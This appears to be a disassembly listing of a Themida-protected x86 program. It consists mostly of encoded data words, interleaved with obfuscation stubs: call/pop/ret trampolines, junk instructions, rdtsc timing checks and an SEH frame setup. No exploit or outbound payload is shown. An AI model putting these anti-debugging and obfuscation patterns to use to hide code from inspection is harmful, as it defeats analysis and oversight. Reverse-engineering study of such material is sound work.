add [esp-4+arg_4], 1Dh
inc edx
push edx
retn
sub_58CAA1 endp
; ---------------------------------------------------------------------------
db 0A5h, 0E9h, 0DFh
dd 6CAAAD4Fh, 0B3ACAECFh, 645B5703h, 2589h, 820F0000h
dd 6, 77ADD781h, 85FF7D4Fh, 614236Dh, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 17h, 83C35242h, 8B4A23A5h, 140ED1BDh
dd 6AFF6A06h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 1A042444h, 47000000h, 1EBBC357h, 0E29B3C48h, 91B5FF24h
dd 0F061405h, 84h, 1995FF00h, 0E906142Bh, 0FEh, 1D89B531h
dd 80510614h, 0B05F56CFh, 70E6F800h, 71E4DA8Bh, 0BD1BD33h
dd 613C0614h, 0DC830Fh, 10BB0000h, 0F52D86Ch, 0B60FDBBFh
dd 0B5BD8BC8h, 0BA061415h, 6, 0B18D89h, 0C18B0614h, 8B0Fh
dd 0E8C10000h, 0C1BD8B04h, 6606142Eh, 0BD33E2F7h, 61424A1h
dd 9D8BC82Bh, 6141BC1h, 9CDFEB81h, 0D18B30F1h, 4E9h, 94BF6600h
dd 15858B3Ch, 8B061420h, 7C083DAh, 1AFDB589h, 95290614h
dd 6142C51h, 3B00C083h, 11830FD0h, 0F000000h, 387h, 0DFBF0F00h
dd 5DE9h, 0DBBF0F00h, 1AF98D8Bh, 0DF8B0614h, 0F01E183h
dd 4984h, 7E800h, 0CC530000h, 4B967DDCh, 0A5835F4Dh, 6141AF9h
dd 2820FFEh, 8B000000h, 159589D8h, 0E8061420h, 0Eh, 3660F7B5h
dd 664B11BDh, 0F983054h, 85292734h, 614038Dh, 9D8B535Bh
dd 6140CB5h, 0E95Fh, 0B58D0000h, 617C0E5h, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 8AC35545h, 0BD8B701Fh
dd 61424A5h, 95FF006Ah, 6141169h, 7E9h, 89E19800h, 0B471A916h
dd 16A58531h, 97B90614h, 0E9000007h, 7, 0EFE4BBD2h, 8B609D1Ah
dd 1434D19Dh, 0FCE18306h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 1Ch, 8BC35747h, 710952Fh, 11CF7530h, 6CD78166h
dd 6AFC59h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h
dd 52420000h, 8B66CAC3h, 0B8F8h, 6A0000h, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 180424h, 52420000h, 61C18FC3h
dd 81660646h, 66B0E2DFh, 2B5088BFh, 8B6651D2h, 33AD5FF9h
dd 3E8D1C2h, 4E983D0h, 8166F475h, 0D7297CBh, 88h, 8BFBB70Fh
dd 14322995h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1C04h, 0C3514100h, 54BEECFh, 0AA202C3Dh, 0B1BD0301h
dd 6606141Dh, 0BAE9F781h, 64D8D8Bh, 6A0614h, 3E853h, 5B200000h
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_3. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
pop ebx
mov [esp+4], ebx
add dword ptr [esp+4], 1Bh
inc ebx
push ebx
retn
; ---------------------------------------------------------------------------
db 0B0h, 0A1h, 48h
dd 4F38E649h, 0E185896Ch, 0E9061414h, 8, 0F0C5EAD7h, 157A4A7Ch
dd 8B50FB8Bh, 3188BC2h, 8B188BC1h, 3E8D1C1h, 58188BC2h
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 35C35545h
dd 59662652h, 0FA9BD89h, 1EB70614h, 29ADBD83h, 0F000614h
dd 6584h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1804h, 0C3554500h, 18C5823Fh, 0B858h, 0BB660000h, 8D8DB5D1h
dd 6144D79h, 2CF9BD0Bh, 0BD8B0614h, 61422DDh, 6AE1FFh
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
dd 2358D5C3h, 0AD0A090Fh, 0BF669237h, 0BD8364D8h, 6142671h
dd 8A840F00h, 52000004h, 835BFA8Bh, 142671BDh, 840F0106h
dd 494h, 7E8h, 0E733E600h, 0AB373C84h, 0C483E781h, 835B6DC9h
dd 142671BDh, 860F0306h, 43Eh, 21158D89h, 6A600614h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 1B042444h, 41000000h
dd 0DBCFC351h, 875E5B1Fh, 9531122Ch, 6140D01h, 0F9D98C66h
dd 6A04E180h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 1B042444h, 43000000h, 0BF5C353h, 4AECCDFDh, 8D0F16CAh
dd 3, 0AFA8B66h, 4E840FC9h, 6A000001h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 16042444h, 40000000h, 99B9C350h
dd 0D98B6664h, 1969858Bh, 0BD8B0614h, 6142511h, 1B818533h
dd 6A0614h, 3E850h, 58200000h, 448958C3h, 44810424h, 190424h
dd 50400000h, 518871C3h, 0BBD13EF1h, 5E0A21A9h, 0E8525090h
dd 12h, 158E6A9Fh, 666312D8h, 1101993Ch, 0BEA64C27h, 61607A0Fh
dd 5A310F5Bh, 0DA8B5058h, 51006A90h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1C04h, 0C3514100h, 0CE2A4426h
dd 7D5D012Dh, 6AF98AADh, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1B04h, 0C3554500h, 0AEA3B3D4h, 0F3B14738h
dd 2CD59D8Bh, 28680614h, 0BF66753Ch, 578EE141h, 0D7243481h
dd 6A666A3Fh, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 1D042444h, 41000000h, 8B16C351h, 0C7F311B5h, 27C38EF0h
dd 0CF59D89h, 0B70F0614h, 0AD95FFDBh, 0F061409h, 485h
dd 11BB6600h, 98858981h, 6A0617AAh, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 14042444h, 40000000h, 8BD3C350h
dd 1432259Dh, 1EBE906h, 0B70F0000h, 90858BFAh, 6A0617AAh
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 18042444h
dd 45000000h, 0C830C355h, 0C799DB41h, 1800h, 5E900h, 0D7C70000h
dd 8BF2CA0Eh, 17AA94B5h, 12E806h, 7E550000h, 0D7550CC5h
dd 0CEBFF64Ch, 4DBB4128h, 9122A4B9h, 0ADCBB66h, 29858B5Fh
dd 6A06140Bh, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 19042444h, 47000000h, 580EC357h, 0CD379E72h, 2E5BD8Bh
dd 6890614h, 1969858Bh, 0FE90614h, 53000000h, 675D33C4h
dd 0B8BC3651h, 3EB02807h, 0FC8A4002h, 6A044689h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h
dd 0B267C353h, 8A0A836Ah, 5DC3BFD9h, 509665D4h, 0BF665250h
dd 310F62BCh, 0FF15BF66h, 505B585Ah, 10E8h, 0CC41F300h
dd 3E63AA4Ah, 0E4F2B9D3h, 6D5272C4h, 14E9B6h, 1D630000h
dd 3DC193FEh, 24574B30h, 514CA8C1h, 4543F36Dh, 965BC4CDh
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 0DFC35646h
dd 7236EFB0h, 9E83FFCh, 4000000h, 29FF579h, 4CF93A97h
dd 9DC78166h, 0B5FF5BB2h, 617AA90h, 902818BFh, 62876813h
dd 0BB6639FCh, 34811BFBh, 0E3617824h, 0D59D3339h, 8D061422h
dd 17AA9885h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1A04h, 0C3564600h, 6069CE2Eh, 0E9158A68h, 0Fh, 521991Ch
dd 0EABD592Bh, 9D0E8073h, 904AC6CCh, 0F1DFBF66h, 0D98B6050h
dd 505B5660h, 90616159h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 1Bh, 96C35545h, 0DD41733h, 891DDE93h, 142EB985h
dd 0AD95FF06h, 8B061409h, 140459BDh, 6A6106h, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 160424h, 57470000h, 4CD976C3h
dd 6860Fh, 0BD8B0000h, 61405C1h, 6800Fh, 0E7810000h, 730D4078h
dd 267185C7h, 30614h, 7E90000h, 1B000000h, 3C5073BAh, 0FE98DC3h
dd 0DA000000h, 190FB360h, 0D70B1730h, 89CFAB2h, 0BD838843h
dd 617AA98h, 2F840F00h, 6A000000h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 0ECDDC355h
dd 2EAF277Ah, 959501F5h, 0E906140Ch, 1Dh, 3050F98Bh, 4400110Ch
dd 0E8C10111h, 11443010h, 114C0002h, 0E9835803h, 0EBE77504h
dd 4305036h, 11640011h, 10E8C101h, 2114430h, 3116400h
dd 4E98358h, 1BEBE775h, 10E8C150h, 3116428h, 2114430h
dd 11642858h, 11043001h, 7504E983h, 8B00EBE7h, 55006AC0h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h, 0C3554500h
dd 8E9F129h, 0AF000000h, 25B356AAh, 8B252BA1h, 141C39BDh
dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h
dd 0C3524200h, 36668D8Eh, 8BAFD96Bh, 1430359Dh, 71BD8306h
dd 3061426h, 411850Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 1C0424h, 52420000h, 28D221C3h, 0AEE87B55h
dd 0AE8AAB7h, 36000000h, 0DD99F068h, 3391D3D6h, 99C38018h
dd 98BD835Bh, 617AAh, 3CD840Fh, 6A0000h, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 160424h, 55450000h, 118E2EC3h
dd 0FFFB8B66h, 17AA98B5h, 0D9D8906h, 0FF06140Bh, 142AF595h
dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h
dd 0C3524200h, 8B8E99B3h, 1418EDBDh, 8CB58B06h, 0F0617AAh
dd 686h, 398D8900h, 0BB06142Fh, 2F5BF1ADh, 106C7h, 0BD8B0001h
dd 6141C31h, 0F88B5750h, 2434895Fh, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 16h, 1EC35040h, 0BF0F661Bh, 98B5FFD9h
dd 660617AAh, 0CABCD781h, 0B3195FFh, 6A0614h, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 150424h, 56460000h, 8B4F0FC3h
dd 17AA8CB5h, 0D5858B06h, 6A061421h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 19042444h, 40000000h, 48EC350h
dd 1A63A6BBh, 11659D23h, 86890614h, 0C4h, 0E853006Ah, 3
dd 5BC35B20h, 4245C89h, 4244481h, 17h, 0DDC35343h, 300FEB8h
dd 142A15BDh, 918D8906h, 8B06140Bh, 14322995h, 0F2CB8106h
dd 8308C9F8h, 0BF6604C2h, 5089C5C3h, 0F98B6620h, 2EB59589h
dd 858D0614h, 617BE06h, 0F5BF856h, 186h, 8689F900h, 0B8h
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0AFC35646h
dd 754363C5h, 3519D8Bh, 0C3810614h, 3FD0CDCDh, 6A006Ah
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h
dd 0EB4EC1C3h, 860FA7A7h, 6, 2CA19529h
dd 0B5FF0614h, 617AA98h, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 1Ch, 4CC35646h, 0D2368F93h, 134FA557h, 93995FFh
dd 6A0614h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h
dd 52420000h, 0EDE7F2C3h, 0B5D503EAh, 0AE8h, 644FA000h
dd 0A3713E91h, 1F757E4h, 1413699Dh, 9D335F06h, 6141B99h
dd 503CB396h, 8636BB66h, 0B1F38196h, 0FF5460ACh, 17AA98B5h
dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h
dd 0C3554500h, 0BD2B1928h, 8918ACB4h, 142B2D85h, 0F595FF06h
dd 0BF061420h, 0B623C70h, 0C21BD83h, 0F000614h, 6F84h
dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h
dd 0C3534300h, 0A6236194h, 12E9DBh, 7FF0000h, 9C8324C9h
dd 52B9F323h, 0A5464EA2h, 0BC1B3CC8h, 0EE950h, 58EB0000h
dd 0B5AFD4E9h, 0DDFD9B8Dh, 0BD9CA592h, 60243489h, 13E8h
dd 6507EB00h, 526FC396h, 45D513C8h, 79FFEF2Fh, 755FCDEEh
dd 16B58589h, 61590614h, 0AA98B5FFh, 0FFF90617h, 1402B195h
dd 0FB8B6606h, 0AA98B5FFh, 35BB0617h, 6624B267h, 781FD781h
dd 308195FFh, 6A0614h, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 160424h, 56460000h, 19D6F3C3h, 31F9BD89h, 0BD830614h
dd 61409F5h, 76840F02h, 6A000000h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 8BCFC356h
dd 142D0185h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1704h, 0C3554500h, 0B5F5EF05h, 0BB66FA8Bh, 0C6BE76h
dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h
dd 0C3524200h, 34004281h, 68E0F76h, 9000000h, 1409B98Dh
dd 4D85C706h, 61424h, 0E9000000h, 0FFFFF369h, 30959D8Bh
dd 0C18B0614h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 1Ch, 7FC35141h, 5DFFF349h, 0A936045Bh, 35958B60h, 61061403h
; ---------------------------------------------------------------------------
loc_58D7C8: ; CODE XREF: Themida_:loc_58CA06j
lea eax, [ebp+6140F99h]
sub di, 1176h
nop
push eax
push edx
mov bh, 61h
rdtsc
jmp loc_58D7EF
; ---------------------------------------------------------------------------
db 62h
dd 9F0BDF85h, 0B371CD8h, 7AD181B7h
db 4Ah, 0E8h, 67h
; ---------------------------------------------------------------------------
loc_58D7EF: ; CODE XREF: Themida_:0058D7DAj
pop edx
pop eax
push eax
mov di, si
nop
mov bx, 1B45h
push 0
mov di, dx
push 0
push 0
push eax
call sub_58D80C
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58D80C proc near ; CODE XREF: Themida_:0058D804p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 1Ch
inc eax
push eax
retn
sub_58D80C endp
; ---------------------------------------------------------------------------
dd 58EE4AF8h, 63A239D2h, 0E9BD23B6h, 8D061404h, 184DA885h
dd 58E0F06h, 66000000h, 0FE64CF81h, 8005C083h, 9D0BEEC7h
dd 61409D5h, 0FFBB5090h, 5B5BA917h, 12E950h, 5B820000h
dd 9C066C93h, 0B7AF6654h, 0BB61BC75h, 4B8A1EADh, 57006A90h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1904h, 0C3574700h
dd 0F26B31EEh, 14E9964Eh, 0B8000000h, 0DF0FC9F0h, 8017BF15h
dd 42AD17C2h, 9F2272F4h, 6A9378A9h, 618D2900h, 6A06140Eh
dd 0BD335100h, 61425CDh, 7195FF5Bh, 3106141Ah, 141A21BDh
dd 0FC8D8D06h, 6A0617A8h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 1A042444h, 40000000h, 6F4C350h, 437F9054h
dd 33D1FFF1h, 1430599Dh, 0CDBD8306h, 1061412h, 89850Fh
dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h
dd 53430000h, 8D241C3h, 14800F29h, 0E9000000h, 0Fh, 34D84799h
dd 0FCF17F8Eh, 0D1FD47A4h, 13473DEh, 1415CDB5h, 57026A06h
dd 559D03h, 505B0614h, 870Fh, 4890000h, 53006A24h, 3E8h
dd 0C35B2000h, 245C895Bh, 24448104h, 1D04h, 0C3534300h
dd 4592BD11h, 65FE9726h, 8D89DCD7h, 6140AFDh, 78DB8166h
dd 3995FF14h, 0E9061409h, 0E34h, 0E8h, 0ED815D00h, 6184DB2h
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 90C35545h
dd 0B2E741DCh, 0BBE3D2EAh, 506D5892h, 30399D89h, 858D0614h
dd 6179623h, 218D0F50h, 50000000h, 16BB6652h, 0E9310F32h
dd 12h, 753F2153h, 2C96E4B4h, 0D2EB9BB3h, 0F4B5A4BAh, 585A925Fh
dd 89240489h, 140BD985h, 35FF6406h, 0
; ---------------------------------------------------------------------------
push 0
push edx
call sub_58DA0F
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58DA0F proc near ; CODE XREF: Themida_:0058DA07p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 1Ah
inc edx
push edx
retn
sub_58DA0F endp
; ---------------------------------------------------------------------------
aas
retn 3F2Ch
; ---------------------------------------------------------------------------
setalc
lea edi, [esi]
jmp loc_58DA33
; ---------------------------------------------------------------------------
db 0D9h
dd 2612AD67h
db 0A6h, 0A0h, 0B6h
; ---------------------------------------------------------------------------
loc_58DA33: ; CODE XREF: Themida_:0058DA26j
mov large fs:0, esp
push 0
push ebp
call sub_58DA45
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58DA45 proc near ; CODE XREF: Themida_:0058DA3Dp
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 1Dh
inc ebp
push ebp
retn
sub_58DA45 endp
; ---------------------------------------------------------------------------
db 0DFh, 0F9h, 3Fh
; ---------------------------------------------------------------------------
pop ebp
sbb edi, [edi+277AECDDh]
jmp loc_58DA6B
; ---------------------------------------------------------------------------
dd 1AFE7278h
db 86h, 0D0h, 38h
; ---------------------------------------------------------------------------
loc_58DA6B: ; CODE XREF: Themida_:0058DA5Fj
inc dword ptr [ebp+614236Dh]
push 0
push edi
call sub_58DA7C
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58DA7C proc near ; CODE XREF: Themida_:0058DA74p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 15h
inc edi
push edi
retn
sub_58DA7C endp
; ---------------------------------------------------------------------------
sbb [eax+0Fh], ch
mov bh, 0DFh
loc_58DA91: ; CODE XREF: Themida_:loc_58E760j
push 0FFFFFFFFh
push 0
push esi
call sub_58DA9E
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58DA9E proc near ; CODE XREF: Themida_:0058DA96p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 1Dh
inc esi
push esi
retn
sub_58DA9E endp
; ---------------------------------------------------------------------------
dw 6ECEh
dd 39E678A6h, 0EFEEABDEh, 30D98D89h, 0D88A0614h, 14ADB5FFh
dd 6A0614h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h
dd 56460000h, 0F38006C3h, 1995FFD0h, 0E906142Bh, 0E7h
dd 9D2900B0h, 6140631h, 42BF70E6h, 317EF128h, 141DAD8Dh
dd 0F71E406h, 613CDFB7h, 0C5830Fh, 8D890000h, 614109Dh
dd 0B7C8B60Fh, 6BAA3h, 0BD8B0000h, 6141FE5h, 0BD03C18Bh
dd 6142001h, 6604E8C1h, 54B7D88Bh, 29E2F766h, 140FA1BDh
dd 8BC82B06h, 0E9D98BD1h, 6, 17119D09h, 858B0614h, 61414B5h
dd 2D19BD29h, 0C0830614h, 0EAEB8007h, 0FC00C083h, 9E8h
dd 1C7F0300h, 3934396Ch, 8D89DC2Ch, 6142289h, 0FD03B5Fh
dd 1783h, 7E900h, 785E0000h, 39E1286Eh, 41E9D7h, 9D890000h
dd 61425CDh, 2318D8Bh, 0B70F0614h, 1E183F9h, 29840Fh, 0BD890000h
dd 614304Dh, 231A583h, 81FE0614h, 9A6885F7h, 0B595895Ah
dd 60061414h, 0B956DE8Bh, 4F61FE39h, 0E96158h, 8D000000h
dd 17CAC9B5h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1404h, 0C3574700h, 816660E0h, 8127DEC9h, 0EF7456C2h
dd 6A616Ch, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 17h, 0B4C35545h, 0E8186E68h, 6, 0EB5E57F5h, 895B6D97h
dd 1419E18Dh, 6995FF06h, 6A061411h, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 8414C352h
dd 37B7C20Bh, 2EFD9D8Bh, 16B90614h, 6A00000Eh, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h
dd 8D31C355h, 0E96B355Fh, 12h, 0A5D089E3h, 0B575F652h
dd 0FB96EDDBh, 82CDE301h, 0E183B4BBh, 0BD8BFCFCh, 61421B1h
dd 6AC02Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h
dd 52420000h, 0D84ACAC3h, 820F49E1h, 3, 0FDA8B66h, 488h
dd 0FEBB6600h, 0BA3Ah, 1CBB0000h, 0AD48B1D4h, 0E8D1C233h
dd 0E983D003h, 6AF47504h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 16042444h, 43000000h, 84B7C353h, 0C781668Ch
dd 880DFCEBh, 0F9000000h, 0BEB50BBFh, 29958B72h, 6A061432h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 19042444h
dd 46000000h, 0D68C356h, 2EBDB55Fh, 2AFD8531h, 8D8B0614h
dd 614064Dh, 501BD380h, 188BC28Bh, 188BC103h, 0E8D1C18Bh
dd 188BC203h, 57006A58h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1804h, 0C3574700h, 0B2120128h, 0FFB70F67h, 0BA58531h
dd 0BD830614h, 61429ADh, 9E840F00h, 6A000000h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h
dd 0F024C356h, 0E95C7405h, 0Eh, 8D42DC7Bh, 69FAA172h, 356A3494h
dd 0B8B588h, 0E9000000h, 9, 5EA4F5DCh, 578C159Ah, 798D8D6Fh
dd 6A06144Dh, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 16042444h, 43000000h, 5C40C353h, 6840FE7h, 89000000h
dd 1406619Dh, 6AE1FF06h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 1C042444h, 47000000h, 85B3C357h, 0AA2891C6h
dd 0B39E1E59h, 71BD831Dh, 61426h, 4FE840Fh, 6A0000h, 3E853h
dd 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h
dd 5E85CC3h, 0F6000000h, 0B5D754DBh, 699D8B50h, 5B061426h
dd 0B9BD235Bh, 81061402h, 476ED4CBh, 71BD834Ah, 1061426h
dd 4D1840Fh, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 170424h, 50400000h, 94C0E8C3h, 71BD835Dh, 3061426h
dd 46F860Fh, 8B520000h, 1403D5BDh, 6A605B06h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h
dd 7047C357h, 7CF221DCh, 0B34D654Ch, 6AD98C66h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h
dd 0C817C351h, 5E939BEh, 23000000h, 0E16C8417h, 6A04E180h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 18042444h
dd 42000000h, 9010C352h, 60DE857Bh, 24A5BD29h, 9E90614h
dd 4D000000h, 558560FCh, 0D9E3ED16h, 0BE666061h, 858BB94Ah
dd 6142315h, 85858961h, 0A061415h, 0F1840FC9h, 6A000001h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 16042444h
dd 46000000h, 973CC356h, 10E984h, 2E850000h, 0FE1B161Bh
dd 0CB8E0801h, 4BB99AAAh, 858B8D4Eh, 6141969h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0FFC35646h, 51BCC56Eh
dd 0FEDBD8Bh, 85330614h, 6141B81h, 0BB47BB66h, 8F0F90F9h
dd 0Dh, 8E9h, 4C4B8700h, 9856C18Ah, 9E85085h, 40000000h
dd 0D9059FAEh, 0A49C36F1h, 11E9h, 0E4CD6500h, 0C10FCBC9h
dd 452290E1h, 72B2DFB6h, 905B7020h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 1Ah, 5C35646h, 21CED6CEh, 6A77ACh
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 0ECC35343h
dd 3B30CD79h, 565DB0DDh, 8E0Fh, 0BD290000h, 6140F95h, 4E8h
dd 1F03FF00h, 11E95600h, 72000000h, 0BBEB421Ah, 528FEF3Fh
dd 2AED27A8h, 1CCAD85Dh, 0BCBF505Fh, 8B6506A6h, 0BF042444h
dd 2ED9131Dh, 9E8008Bh, 81000000h, 9EC3A50h, 74D48079h
dd 310F5250h, 5AD88B66h, 44895F58h, 89580424h, 1420B98Dh
dd 5820F06h, 66000000h, 55F8D781h, 9AD95FFh, 6A0614h, 3E853h
dd 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h
dd 53D2BAC3h, 8D09139Ch, 6142D31h, 56A4BB66h, 0AA988589h
dd 6A0617h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h
dd 56460000h, 0B26601C3h, 78DF7C53h, 0FE9F2F9h, 0E9000000h
dd 2CDADE46h, 0B0E651F7h, 0CC9EF94Ch, 8EE9D439h, 6A000001h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 17042444h
dd 41000000h, 0E3FDC351h, 0BD8B84A9h, 6142AC1h, 0AA90858Bh
dd 6A0617h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h
dd 55450000h, 0E98F30C3h, 0Ch, 9A535050h, 6936C468h, 0F57A2AB8h
dd 1800C7h, 0EF810000h, 41CB0147h, 0AA94B58Bh, 0F9600617h
dd 0F6173B6h, 858BDEB7h, 6140B29h, 35298589h, 6890614h
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 17C35141h
dd 9B2993C6h, 8C8BBFD9h, 3860FEDh, 0F000000h, 0E3BFD9B7h
dd 8B6740A3h, 14196985h, 0E19D8906h, 89061420h, 0FE90446h
dd 3D000000h, 0CA8A47ABh, 0CBF99356h, 0E884235Fh, 515083D1h
dd 2434895Fh, 0DE9h, 0E7C3CE00h, 1B572814h, 1BA34E09h
dd 0B5FF3875h, 617AA90h, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 1Ch, 0A3C35646h, 5B7F58F1h, 6F54737Eh, 0AE9h
dd 0F9966B00h, 2AE580F0h, 686CE605h, 0D1D5C7C2h, 29C3E1BBh
dd 24048132h, 2E493C3Dh, 1C2D9D89h, 858D0614h, 617AA98h
dd 0E950F88Bh, 0Dh, 0EBC2CC59h, 98A60E3Bh, 0A1E100B5h
dd 2404894Fh, 32099589h, 95FF0614h, 61409ADh, 0E850006Ah
dd 3, 58C35820h
dd 4244489h, 4244481h, 17h, 0ACC35040h, 89D4193Bh, 1425FDBDh
dd 0BD0B6106h, 6143215h, 13C9E7BFh, 7185C70Dh, 3061426h
dd 6A000000h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 15042444h, 41000000h, 6218C351h, 0F4EB8166h, 98BD839Fh
dd 617AAh, 23840Fh, 0F88B0000h, 37E9h, 0FA8B6600h, 12E951h
dd 45DB0000h, 3B962D15h, 1B90704Bh, 0EB1A15A0h, 0F88C28B3h
dd 0C30505Bh, 11440011h, 10E8C101h, 2114430h, 3114C00h
dd 4E98358h, 36EBE775h, 11043050h, 1116400h, 3010E8C1h
dd 21144h, 58031164h, 7504E983h, 501BEBE7h, 2810E8C1h
dd 30031164h, 58021144h, 1116428h, 83110430h, 0E77504E9h
dd 0C08B00EBh, 0F79BD8Bh, 8B600614h, 142585B5h, 0CD9D0106h
dd 61061423h, 2071BD2Bh, 0BD830614h, 6142671h, 0B5850F03h
dd 81000003h, 8198F6C3h, 0B19D8947h, 83061429h, 17AA98BDh
dd 840F0006h, 39Ch, 0C299D8Bh, 0B5FF0614h, 617AA98h, 1870Fh
dd 0FFF50000h, 142AF595h, 52006A06h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1A04h, 0C3524200h, 1644C267h
dd 8B10007Eh, 17AA8CB5h, 0DE906h, 50970000h, 0E5396F70h
dd 0FC842759h, 29C6C249h, 140B698Dh, 106C706h, 50000100h
dd 0CDB5BB66h, 6A243489h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 19042444h, 42000000h, 553C352h, 9DD38275h
dd 3471B589h, 0B5FF0614h, 617AA98h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 1Dh, 22C35141h, 87B46EACh, 0C88D9052h
dd 0EDB58914h, 29061423h, 14226D95h, 3195FF06h, 6A06140Bh
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1B042444h
dd 45000000h, 93EAC355h, 17F1680Dh, 95010ED2h, 61418EDh
dd 0AA8CB58Bh, 10E80617h, 7C000000h, 48105077h, 7B4EEEEh
dd 3E4BC964h, 5F161D8Bh, 21D5858Bh, 85890614h, 6140315h
dd 1FC755BFh, 0C4868954h, 66000000h, 958BFA8Bh, 6143229h
dd 2B69BD03h, 0C2830614h, 20508904h, 6880Fh, 9D8B0000h
dd 6141115h, 0BE06858Dh, 86890617h, 0B8h, 0E853006Ah, 3
dd 5BC35B20h, 4245C89h, 4244481h, 18h, 0DAC35343h, 0BD32EE44h
